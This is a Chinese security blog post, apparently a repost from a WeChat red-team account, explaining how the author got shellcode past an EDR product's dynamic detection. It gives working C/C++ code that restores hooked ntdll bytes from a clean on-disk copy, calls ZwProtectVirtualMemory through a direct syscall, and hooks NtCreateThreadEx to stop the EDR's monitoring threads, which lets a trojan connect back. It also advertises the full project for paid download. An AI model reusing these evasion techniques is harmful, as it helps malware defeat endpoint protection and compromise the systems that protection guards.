免杀-edr动态检测shellcode绕过

admin 2024年12月26日15:34:48评论85 views字数 3415阅读11分23秒阅读模式

动态保护

在某次演习中使用集权系统下发木马一直不上线,但是在没有该edr的机器却能够上线成功,随后本地测试也没被杀。双击执行后出现此界面。

免杀-edr动态检测shellcode绕过

分析保护

已知情况如下:

  1. 在未执行shellcode时不会弹窗(包括免杀的灰鸽子、大灰狼等RAT)
  2. 执行255个字节的nop指令也会弹窗

根据上述情况得知edr可能获得了程序的执行地址,能够获取到到程序执行地址的情况不多。常见的有:

  1. 拿到线程的Context
  2. 拿到线程的执行地址
  3. 堆栈回溯

我初步怀疑是开启了VT进行了HOOK或者是使用了etw hook之类的手段。如果是这两种的话那就很麻烦了,因为要进r0去搞。不过万幸的是并没有使用这两种情况。通过进程监控工具查看进程创建及dll加载发现创建进程时会加载edr的Dll:

免杀-edr动态检测shellcode绕过

根据文件名可以暂时排除VT及etwhook的情况了。该DLL的注入时间比程序的Main函数执行时间还要早,大概率是使用了全局注入之类的手段。然后我想出了一个非常愚蠢的方案,在main里面把该edr的dll全部卸载掉:

FreeLibary("edr");FreeLibary("edr");FreeLibary("edr");

程序不出意外的崩溃了,其实用脑子想都知道不可能,因为在edr的DLL注入的时候肯定HOOK了大量函数来监控我的程序到底在干什么。后面查看果然如此:

免杀-edr动态检测shellcode绕过

写代码盘他,先把HOOK全部还原掉,具体的思路如下:

  1. 获取到NTDLL的内存地址
  2. 载入system32目录下的ntdll
  3. 将system32目录下的ntdll在内存拉伸
  4. 获取NTDLL的.text节表及大小
  5. 获取自己拉伸DLL的.text节表及大小
  6. 对比机器码找出hook点
  7. 还原hook

代码大致如下:

    std::vector<_CheckDifferent> temp_vector_check;    //拉伸完毕后    PVOID lpPeMem = loader("C:\Windows\System32\ntdll.dll");    PVOID oldNt = LoadLibraryA("ntdll.dll"); //获取系统ntDll地址    PIMAGE_SECTION_HEADER oldSecHead = GetSecHeadAddr(oldNt, ".text"); //被HOOK的dll    PIMAGE_SECTION_HEADER lpSecHead = GetSecHeadAddr(lpPeMem, ".text");//内存展开的DLL    ULONG64 Address = (ULONG64)lpPeMem + (ULONG64)lpSecHead->VirtualAddress; //获取内存地址    ULONG64 oldAddress = (ULONG64)oldNt + (ULONG64)oldSecHead->VirtualAddress; //获取内存地址    DWORD Size = (ULONG64)lpSecHead->Misc.VirtualSize;    for (INT i = 0; i < Size; i++)    {        if (*(UCHAR*)(Address+i) != *(UCHAR*)(oldAddress + i))        {            _CheckDifferent temp__CheckDifferent;            RtlZeroMemory(&temp__CheckDifferent, sizeof(_CheckDifferent));            //printf("Address = %prn", ((ULONG64)oldAddress + i));            temp__CheckDifferent.Addr = oldAddress + i;            RtlCopyMemory(temp__CheckDifferent.FileHex, (PVOID)(Address + i),20);            RtlCopyMemory(temp__CheckDifferent.MemoryHex, (PVOID)(oldAddress + i), 20);            i = i + 19;            temp_vector_check.push_back(temp__CheckDifferent);        }    }    for (size_t i = 0; i < temp_vector_check.size(); i++) {        _CheckDifferent temp__CheckDifferent = temp_vector_check[i];        PVOID hookAddress = (PVOID)temp__CheckDifferent.Addr;        size_t size = 20;        DWORD oldp = 0;        protect(address,size);        printf("NTSTATUS = %xrn", ret);        memcpy((void*)temp__CheckDifferent.Addr, temp__CheckDifferent.FileHex,20);        printf("Address = %prn", temp__CheckDifferent.Addr);        printf("--------------rn");    }

不出意外的失败了,debug后发现是修改内存属性出了问题。该edr还hook了ZwProtectVirtualMemory,发现修改的内存地址不对就会清空。syscall盘他:

    NTSTATUS Status;    UCHAR* FunctionAddress;    INT SystemCallIndex = 0x50;    typedef NTSTATUS __stdcall NtFunction(args...);    NtFunction* Function = (NtFunction*)inline_syscall::syscall_stub;    memcpy(inline_syscall::get_stub() + 0x4, &SystemCallIndex, sizeof(UINT));    inline_syscall::set_error(IS_SUCCESS);    return Function(arguments...);

果然成功了

免杀-edr动态检测shellcode绕过

再次执行发现还是会出现这个界面:

免杀-edr动态检测shellcode绕过

查看进程线程,发现多出来几个线程并且还全是edr的。进程模块里面也没有这个dll,那可能是断链隐藏了模块

免杀-edr动态检测shellcode绕过

既然这样,那我只好hook掉CreateThread了,判断线程地址是否在edr模块中,如果在的话就不执行该线程

NTSTATUS Hook_NtCreateThreadEx(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateSuspended, SIZE_T dwStackSize, SIZE_T dw1,    SIZE_T dw2,    LPVOID Unknown) {    if (isModule((ULONG64)lpStartAddress))    {        printf("检测到EDR动态拦截 Hook_NtCreateThreadEx CrateThread Address = %p,is LHShield64 = %drn", lpStartAddress, isModule((ULONG64)lpStartAddress));        return -1;    }    return pNtCreateThreadEx(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, dwStackSize, dw1,dw2, Unknown);}

成功上线:

免杀-edr动态检测shellcode绕过

免杀-edr动态检测shellcode绕过

代码:

本文的关键思路及关键代码均已给出,工程代码已经打包放在了知识星球,有需要可以加群后联系我(VX:xuanyuwd)索要小密圈加入二维码(99/人)

原文始发于微信公众号(我真不是红队啊):免杀-edr动态检测shellcode绕过

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月26日15:34:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀-edr动态检测shellcode绕过https://cn-sec.com/archives/3556697.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息